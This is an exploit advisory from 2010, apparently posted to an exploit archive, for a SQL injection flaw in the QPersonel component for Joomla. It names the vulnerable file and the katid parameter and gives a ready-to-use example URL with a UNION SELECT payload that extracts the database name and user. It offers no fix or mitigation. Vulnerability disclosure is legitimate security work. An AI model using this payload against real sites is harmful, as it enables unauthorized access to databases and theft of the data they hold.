Joomla QPersonal SQL Injection

`# Exploit Title: Joomla Component QPersonel SQL Injection Vulnerability  
# Date: 13.04.2010  
# Author: Valentin  
# Category: webapps/0day  
# Version: XSS security fix from 31.12.2009, 1.02 and before  
# Tested on:   
# CVE :   
# Code :   
  
  
[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]  
|:: >> General Information   
|:: Advisory/Exploit Title = Joomla Component QPersonel SQL Injection Vulnerability  
|:: By = Valentin Hoebel  
|:: Contact = [email protected]  
|::   
|::   
[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]  
|:: >> Product information  
|:: Name = QPersonel  
|:: Vendor = Q-PROJE  
|:: Vendor Website = http://www.qproje.com/  
|:: Affected Versions = XSS security fix from 31.12.2009, 1.02 and before  
|::   
|::   
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]  
|:: >> #1 Vulnerability  
|:: Type = SQL Injection  
|:: Vulnerable File(s) = qpersonel.php:  
|:: Vulnerable Parameter(s) = katid  
|:: Example URL = index.php?option=com_qpersonel&task=qpListele&katid=XX+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,concat(database(),user())--  
|:: Selected information gets displayed within the title tag.  
|::   
|::   
[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]  
|:: >> Additional Information  
|:: Advisory Published = 13.04.2010  
|::   
|::   
[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]  
|:: >> Misc  
|:: Greetz && Thanks = inj3ct0r team, Exploit DB, hack0wn and ExpBase!  
|::  
|::   
[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]  
`